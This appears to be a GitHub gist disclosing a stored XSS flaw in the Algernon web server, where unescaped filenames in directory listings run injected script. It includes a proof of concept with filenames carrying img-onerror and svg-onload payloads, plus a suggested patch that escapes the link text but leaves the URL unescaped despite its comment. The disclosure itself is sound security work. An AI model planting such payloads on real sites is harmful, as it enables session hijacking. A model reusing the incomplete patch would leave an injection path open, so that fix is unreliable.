Skip to content

Instantly share code, notes, and snippets.

@Bnyt7
Last active November 12, 2025 00:43
Show Gist options
  • Select an option

  • Save Bnyt7/0faa90ff93c5d98093a0e29a1eb34d81 to your computer and use it in GitHub Desktop.

Select an option

Save Bnyt7/0faa90ff93c5d98093a0e29a1eb34d81 to your computer and use it in GitHub Desktop.

Stored XSS in Algernon via Malicious Filenames

Description

Filenames from the filesystem are inserted directly into HTML without escaping in directory listings. If an app has a file upload feature or any shared hosting, an attacker could create files with XSS payloads in the filename which will be triggered when an user checks the url.

engine/dirhandler.go lines 80-108


filename := item.Name()  // Get filename from filesystem
// ...
buf.WriteString(themes.HTMLLink(filename, URLpath, ac.fs.IsDir(fullFilename)))

themes/html.go lines 124-132

func HTMLLink(text, url string, isDirectory bool) string {
    if isDirectory {
        text += "/"
        url += "/"
    }
    return "<a href=\"/" + url + "\">" + text + "</a><br>"
    // 'text' (filename) is inserted directly without HTML escaping
}

PoC

$ algernon -v                                  
Algernon 1.17.4

In a directory, create files with xss payloads as names.

# XSS Payload 1: Simple alert
touch "test<img src=x onerror=alert('XSS')>.txt"

# XSS Payload 3: Event handler in filename
touch "document<svg onload=alert(document.domain)>.svg"

In the same repository, run the application.

algernon
Server directory:       .
Server address:         :3000
Database:               Bolt (/tmp/algernon.db)
Cache mode:             On
Cache size:             1048576 bytes
TLS certificate:        cert.pem
TLS key:                key.pem
Request limit:          10/sec per visitor
Large file threshold:   44040192 bytes
Large file timeout:     10 sec
INFO[0000] Serving HTTP/2 on https://localhost:3000/    
ERRO[0000] open cert.pem: no such file or directory. Not serving HTTP/2. 
INFO[0000] Use the -t flag for serving regular HTTP.    
INFO[0000] Serving HTTP on http://localhost:3000/      

Visit the following url, an alert will appear.

An attacker could upload files with a XSS payload in their name to change a website's contents or steal cookies to hijack sessions.

Patch suggestion

Sanitize the output by escaping the filename. For example :

import "html"

func HTMLLink(text, url string, isDirectory bool) string {
    // Escape the display text to prevent XSS
    escapedText := html.EscapeString(text)
    // URL encode the URL to prevent injection
    escapedURL := url
    
    if isDirectory {
        escapedText += "/"
        escapedURL += "/"
    }
    
    return "<a href=\"/" + escapedURL + "\">" + escapedText + "</a><br>"
}

But bluemonday is also very efficient.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment